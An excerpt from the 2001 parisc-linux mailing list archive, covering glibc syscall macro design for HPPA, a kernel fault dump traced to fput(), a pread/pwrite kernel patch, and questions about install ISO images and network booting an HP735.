Any E.T.A. known, or are there blocking issues?

Hans.

> -----Original Message-----
> From:	Grant Grundler [SMTP:grundler@cup.hp.com]
> Sent:	Friday, January 26, 2001 2:59 AM
> To:	sanaya@gr.hp.com
> Cc:	HP Linux Email List
> Subject:	Re: [parisc-linux] Request 
> 
> "Sean Anaya" wrote:
> > Hi all,
> > 
> > I was wondering if it would be possible to get the latest workable CD
> image
> > (palinux-0.5.iso.gz) updated?
> 
> That's in progress but it's not clear when it will be ready.
> 
> > I really would like to install Linux on my
> > C180-XP machine, but that image doesn't support Cxxx machines according
> to
> > the readme, and I do not have access to another linux machine on which
> to
> > build/put together a bootable CD image.
> 
> Well, then you have to wait. :^(
> 
> grant
> 
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
> 
> --------------------------------------------------------------------------
> -
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
> with
> `unsubscribe' as the subject.




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Tue, 10 Apr 2001 15:03:51 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <20010410150351.N6992@linuxcare.com>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com> <20010407001500.Z9198@linuxcare.com> <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk> <20010409105606.C5790@linuxcare.com> <20010409152125.A15015@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620021 17793 80.91.229.3 (22 Nov 2014 01:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:41 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 08:02:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6817E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 08:02:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CC8A8B008; Tue, 10 Apr 2001 15:03:51 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010409152125.A15015@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, Apr 09, 2001 at 03:21:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10743

On Mon, Apr 09, 2001 at 03:21:25PM +0100, Matthew Wilcox wrote:
> On Mon, Apr 09, 2001 at 10:56:06AM +0100, Richard Hirst wrote:
> > INLINE_SYSCALL wants a name, and an arg count, not a syscall number, eg:
> > 
> >   INLINE_SYSCALL(nfsservctl, 3, cmd, argp, resp);
> > 
> > so passing a syscall number in to syscall() doesn't work, and also
> > syscall() won't know how many arguments there are to pass on to
> > INLINE_SYSCALL.  Maybe we could just use '6' to get round that.
> 
> Yep, that's my thinking.
> 
> > Maybe we duplicate INLINE_SYSCALL in sysdeps/unix/sysv/linux/hppa/sysdep.h,
> > call the new one INLINE_SYSCALL_NR, and replace 'SYS_ify(name)' with 'name'.
> > Then have
> > 
> > int syscall(int nr, int arg1, int arg, int arg3, int arg4, int arg5, int arg6)
> > {
> >       return INLINE_SYSCALL_NR(nr, arg1, arg2, arg3, arg4, arg5, arg6);

That would need a '6' as well:

	return INLINE_SYSCALL_NR(nr, 6, arg1, arg2, arg3, arg4, arg5, arg6)

> umm..
> 
> #define INLINE_SYSCALL(name, args...) INLINE_SYSCALL_NR(SYS_ify(name), args)

No, doesn't work, because INLINE_SYSCALL() does

                asm volatile(                                   \
                        "ble  0x100(%%sr2, %%r0)\n\t"   \
                        " ldi %1, %%r20"                        \
                        : "=r" (__res)                          \
                        : "i" (SYS_ify(name)) ASM_ARGS_##nr     \
                         );                                     \

while INLINE_SYSCALL_NR needs

                asm volatile(                                   \
                        "ble  0x100(%%sr2, %%r0)\n\t"   \
                        " copy %1, %%r20"                       \
                        : "=r" (__res)                          \
                        : "r" (sysnum) ASM_ARGS_##nr            \
                         );                                     \

note the ldi --> copy and "i" --> "r".

I think we need to duplicate INLINE_SYSCALL rather than define one in terms
of the other.

The next question then is where to put the 'C' version of syscall().  Other
archs have a syscall.S (as do we, but ours will now be empty).  For now I've
put in it sysdep.c, that lives in the same dir as syscall.S and sysdep.h,
where INLINE_SYSCALL is defined.  Is that acceptable do you think?
Or do I have to replace syscall.S with syscall.c (which will mean
understanding the build process rather better than I currently do)?

> Otherwise, agreed.  This seems like a more robust approach than doing it
> in assembler directly, and I don't believe it will be significantly less
> efficient.  syscall() is clearly only used in exceptional cases anyway.

OK, although other ports have syscall as asm in syscall.S.

> Since these packages have clearly never worked up till now, this seems
> like an opportune point to change the sizes of these structures if that's
> needed in order to get these syscalls implemented efficiently on 32 &
> 64 bit.

Good point.

Richard





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: 10 Apr 2001 09:58:57 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <m3snjghesu.fsf@otr.mynet.cygnus.com>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com>
	<20010407001500.Z9198@linuxcare.com>
	<20010408202046.B19712@parcelfarce.linux.theplanet.co.uk>
	<20010409105606.C5790@linuxcare.com>
	<20010409152125.A15015@parcelfarce.linux.theplanet.co.uk>
	<20010410150351.N6992@linuxcare.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620021 17794 80.91.229.3 (22 Nov 2014 01:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:41 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 11:03:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id A90A2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 11:03:27 -0600 (MDT)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA10847;
	Tue, 10 Apr 2001 09:58:43 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 3DDD53107; Tue, 10 Apr 2001 09:58:57 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Richard Hirst's message of "Tue, 10 Apr 2001 15:03:51 +0100"
Original-Lines: 30
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:10744

Richard Hirst <rhirst@linuxcare.com> writes:

> No, doesn't work, because INLINE_SYSCALL() does
> 
>                 asm volatile(                                   \
>                         "ble  0x100(%%sr2, %%r0)\n\t"   \
>                         " ldi %1, %%r20"                        \
>                         : "=r" (__res)                          \
>                         : "i" (SYS_ify(name)) ASM_ARGS_##nr     \
>                          );                                     \
> 
> while INLINE_SYSCALL_NR needs
> 
>                 asm volatile(                                   \
>                         "ble  0x100(%%sr2, %%r0)\n\t"   \
>                         " copy %1, %%r20"                       \
>                         : "=r" (__res)                          \
>                         : "r" (sysnum) ASM_ARGS_##nr            \
>                          );                                     \

Why should you need two macros?  The second one is not used on any
other architecture and therefore no non-machine specific code uses it.
Get rid of it.  If you only use it to implement syscall() do it right
and don't hide it in a macro.  Even though we have many macros this
does not mean this is the way code should always be written.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Tue, 10 Apr 2001 18:08:36 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010410180836.A25123@parcelfarce.linux.theplanet.co.uk>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com> <20010407001500.Z9198@linuxcare.com> <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk> <20010409105606.C5790@linuxcare.com> <20010409152125.A15015@parcelfarce.linux.theplanet.co.uk> <20010410150351.N6992@linuxcare.com> <m3snjghesu.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620021 17796 80.91.229.3 (22 Nov 2014 01:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:41 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <matthew@wil.cx>,
	Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 11:22:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF4B5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 11:22:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14n1d6-00023Z-00; Tue, 10 Apr 2001 18:08:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m3snjghesu.fsf@otr.mynet.cygnus.com>; from drepper@redhat.com on Tue, Apr 10, 2001 at 09:58:57AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10745

On Tue, Apr 10, 2001 at 09:58:57AM -0700, Ulrich Drepper wrote:
> Why should you need two macros?

I think you're missing the context here, Ulrich.  I'd prefer not to have
multiple implementations of syscall.  This discussion was about how to
have only _one_ implementation in glibc, not two.  I'm not sure we have
a solution to that yet.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pb with fcntl.c
Date: Tue, 10 Apr 2001 20:11:12 +0200
Lines: 92
Approved: news@gmane.org
Message-ID: <3AD34CC0.BE88DE32@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620022 17800 80.91.229.3 (22 Nov 2014 01:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:42 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 12:05:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1246482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 12:05:52 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id CC2CDD15F4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 20:05:50 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10746

Hi all!

while my kernel was booting, I got this dump:

Kernel Fault: Code=26 regs=10038580 (Addr=00000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00000002 101496ec 00000000
r4-7     00000000 00000000 faf00e08 00000000
r8-11    ffffffff faf006c8 00008250 00000002
r12-15   00009b2c 00009b2c 1029860c 102e4000
r16-19   00000000 102e4580 00000000 4014907a
r20-23   00000014 00000000 00000000 ffffffff
r24-27   00000000 faf00e28 00000000 1027e010
r28-31   00000000 00000000 100387c0 10119250
sr0-3    00000000 00000002 00000000 00000002
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101394cc 101394d0
 IIR: 0c701085    ISR: 00000000  IOR: 00000008
ORIG_R28: 0000000f


The incriminated instruction is in the code of fput():

00000000101394b0 <fput>:
    101394b0:   6b c2 3f d9     stw rp,-14(sp)
    101394b4:   6f c6 00 80     stw,ma r6,<(sp)
    101394b8:   6b c3 3f 99     stw r3,-34(sp)
    101394bc:   08 1a 02 43     copy r26,r3
    101394c0:   6b c5 3f 89     stw r5,-3c(sp)
    101394c4:   34 74 00 28     ldo 14(r3),r20
    101394c8:   6b c4 3f 91     stw r4,-38(sp)
    101394cc:   0c 70 10 85     ldw  8(sr0,r3),r5
    101394d0:   0c 78 10 86     ldw  c(sr0,r3),r6
    101394d4:   0c b0 10 84     ldw  8(sr0,r5),r4
    101394d8:   00 01 0e 76     rsm 1,r22
    101394dc:   0e 80 10 93     ldw  0(sr0,r20),r19
    [...]

Since r3 value is 0 and since r3 is a copy of r26, which 
is arg0 according to Documentation/parisc/register, I assume
that fput as been called with a null argument.

the address 101496ec is part of sys_fcntl():

00000000101496a0 <sys_fcntl>:
    101496a0:   6b c2 3f d9     stw rp,-14(sp)
    101496a4:   6f c6 00 80     stw,ma r6,<(sp)
    101496a8:   08 18 02 46     copy r24,r6
    101496ac:   6b c5 3f 89     stw r5,-3c(sp)
    101496b0:   08 1a 02 45     copy r26,r5
    101496b4:   6b c4 3f 91     stw r4,-38(sp)
    101496b8:   08 19 02 44     copy r25,r4
    101496bc:   e8 57 1e e5     b,l 10139634 <fget>,rp
    101496c0:   6b c3 3f 99     stw r3,-34(sp)
    101496c4:   34 03 3f ef     ldi -9,r3
    101496c8:   08 05 02 5a     copy r5,r26
    101496cc:   08 04 02 59     copy r4,r25
    101496d0:   c8 9c 20 28     movb,= ret0,r4,101496ec <sys_fcntl+0x4c>
    101496d4:   08 06 02 58     copy r6,r24
    101496d8:   e8 5f 1a e5     b,l 10149450 <do_fcntl>,rp
    101496dc:   08 04 02 57     copy r4,r23
    101496e0:   08 04 02 5a     copy r4,r26
    101496e4:   e8 57 1b 8d     b,l 101394b0 <fput>,rp
    101496e8:   08 1c 02 43     copy ret0,r3
    101496ec:   08 03 02 5c     copy r3,ret0
    101496f0:   4b c2 3f 59     ldw -54(sp),rp
    101496f4:   4b c5 3f 89     ldw -3c(sp),r5
    101496f8:   4b c4 3f 91     ldw -38(sp),r4
    101496fc:   4b c3 3f 99     ldw -34(sp),r3
    10149700:   e8 40 c0 00     bv r0(rp)
    10149704:   4f c6 3f 81     ldw,mb <(sp),r6

Here, before the call of fput, r4 is copied into r26.
But at the address 101496d0, if r4 is null, there is a branch
over the call of fput()... So fput() would never have been called with
a null argument.

Does anyone have a clue of what happened? Btw, is the file "register" up
to date?    


Regards,
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/en




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ISO
Date: Tue, 10 Apr 2001 12:31:26 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <200104101931.MAA20950@milano.cup.hp.com>
References: <1A8904C3797ED411AC2E0008C7E6F88117C810@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620022 17801 80.91.229.3 (22 Nov 2014 01:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 13:27:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEF92482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 13:27:20 -0600 (MDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4999EF74; Tue, 10 Apr 2001 12:27:13 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA20950;
	Tue, 10 Apr 2001 12:31:32 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 10 Apr 2001 14:50:05 PDT."
             <1A8904C3797ED411AC2E0008C7E6F88117C810@nlntmail2b.ats.nld.alcatel.nl> 
Xref: news.gmane.org gmane.linux.ports.parisc:10747

"Witvliet, Hans" wrote:
> Hi Grant,
> 
> Some (cpu-) time has passed, so i was wondering when a 0.6 ISO image will be
> available?
> Any E.T.A. known, or are there blocking issues?

IMHO, the person best informed about this is probably Matt Taggart.
Matt recently posted a new NFS root (made from new debs) and I think
the ESIEE team signed up to make an ISO image from that.
So it shouldn't be much longer.

My understanding is this is yet another intermediate release.
We hope folks can use apt-get to upgrade from regular debian mirrors
in future as the bits stabilize. I hope someone else who understands
debian distribution process and hppa-linux issues better can reply as well.

Witvliet, Hans originally wrote:
> I really would like to install Linux on my
> C180-XP machine, but that image doesn't support Cxxx machines according
> to the readme.

FWIW, Ryan Bradetich almost has 64-bit kernel booting on his C200 (PA2.0 CPU).
I'm pretty sure 32-bit kernel/userspace work fine on the C-class now.
(based on what Ryan and others have reported). So watch the parisc-linux
mail closely for the v0.6 ISO image announcement.

grant

ps. "thepuffingroup.com" mail and website is deprecated. please use
    lists.parisc-linux.org or www.parisc-linux.org domain now.

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pread/pwrite
Date: Tue, 10 Apr 2001 21:30:05 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20010410213005.D25123@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620022 17807 80.91.229.3 (22 Nov 2014 01:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 14:30:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC647482A
	for <parisc-linux@parisc-linux.org>; Tue, 10 Apr 2001 14:30:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14n4m5-0006H2-00
	for parisc-linux@parisc-linux.org; Tue, 10 Apr 2001 21:30:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10748

Could those who're having problems with pread/pwrite try the following patch?

Index: fs/read_write.c
===================================================================
RCS file: /home/cvs/parisc/linux/fs/read_write.c,v
retrieving revision 1.6
diff -u -p -r1.6 read_write.c
--- fs/read_write.c	2000/11/10 21:43:50	1.6
+++ fs/read_write.c	2001/04/10 20:21:01
@@ -315,8 +315,8 @@ bad_file:
    lseek back to original location.  They fail just like lseek does on
    non-seekable files.  */
 
-asmlinkage ssize_t sys_pread(unsigned int fd, char * buf,
-			     size_t count, loff_t pos)
+static inline
+ssize_t do_pread(unsigned int fd, char * buf, size_t count, loff_t pos)
 {
 	ssize_t ret;
 	struct file * file;
@@ -346,8 +346,8 @@ bad_file:
 	return ret;
 }
 
-asmlinkage ssize_t sys_pwrite(unsigned int fd, const char * buf,
-			      size_t count, loff_t pos)
+static inline
+ssize_t do_pwrite(unsigned int fd, const char * buf, size_t count, loff_t pos)
 {
 	ssize_t ret;
 	struct file * file;
@@ -377,3 +377,35 @@ out:
 bad_file:
 	return ret;
 }
+
+#if BITS_PER_LONG == 32
+#ifdef __BIG_ENDIAN
+#define LOFF_T(high, low) unsigned int high, unsigned int low
+#else
+#define LOFF_T(high, low) unsigned int low, unsigned int high
+#endif
+
+asmlinkage
+ssize_t sys_pread(unsigned int fd, char *buf, size_t count, LOFF_T(high, low))
+{
+	return do_pread(fd, buf, count, (loff_t)high << 32 | low);
+}
+
+ssize_t sys_pwrite(unsigned int fd, char *buf, size_t count, LOFF_T(high, low))
+{
+	return do_pwrite(fd, buf, count, (loff_t)high << 32 | low);
+}
+
+
+#else /* BITS_PER_LONG != 32 */
+asmlinkage
+ssize_t sys_pread(unsigned int fd, char *buf, size_t count, loff_t pos)
+{
+	return do_pread(fd, buf, count, pos);
+}
+
+ssize_t sys_pwrite(unsigned int fd, char *buf, size_t count, loff_t pos)
+{
+	return do_pwrite(fd, buf, count, pos);
+}
+#endif

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA bus on 735
Date: Mon, 9 Apr 2001 09:26:03 +1000
Lines: 22
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D514459FE@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620023 17809 80.91.229.3 (22 Nov 2014 01:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:43 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 10 17:01:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD53A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Apr 2001 17:01:37 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA03011
	for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Apr 2001 09:26:11 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA03007
	for <parisc-linux@lists.parisc-linux.org>; Mon, 9 Apr 2001 09:26:10 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <22HVRNN3>; Mon, 9 Apr 2001 09:26:04 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10749

Hi folks:

I have a couple of HP735's, I would like to run Linux on these. However, I
want to know how to get the disk image onto the drive. I have a couple of
options, but my preferred one is to initially boot over the network.
However, I only have the FDDI network. Can I use a "standard" ISA network
card in the EISA slot? Can I use a boot ROM in this ISA network card? If I
can, where would I get the boot ROM image to put on said boot ROM?

Any help greatly appreciated.

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  m.vandewerken@cat.csiro.au (w) mvdw73@one.net.au (h)





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with fcntl.c
Date: Wed, 11 Apr 2001 11:23:16 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010411112316.T6992@linuxcare.com>
References: <3AD34CC0.BE88DE32@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620023 17811 80.91.229.3 (22 Nov 2014 01:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:43 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 11 04:22:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68D29482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Apr 2001 04:22:26 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D874CB007; Wed, 11 Apr 2001 11:23:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AD34CC0.BE88DE32@esiee.fr>; from delahaym@esiee.fr on Tue, Apr 10, 2001 at 08:11:12PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10750

Hi Matthieu,

On Tue, Apr 10, 2001 at 08:11:12PM +0200, Matthieu Delahaye wrote:
> Hi all!
> 
> while my kernel was booting, I got this dump:
> ...
> Does anyone have a clue of what happened?

No, is it repeatable?  32 or 64 bit kernel?  What h/w?  What compiler?

I agree with your diagnosis; looks like r4 got corrupted somehow.

Richard





From - Thu Nov 08 21:17:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pread/pwrite
Date: Wed, 11 Apr 2001 11:30:39 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20010411113039.U6992@linuxcare.com>
References: <20010410213005.D25123@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620023 17812 80.91.229.3 (22 Nov 2014 01:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:43 +0000 (UTC)
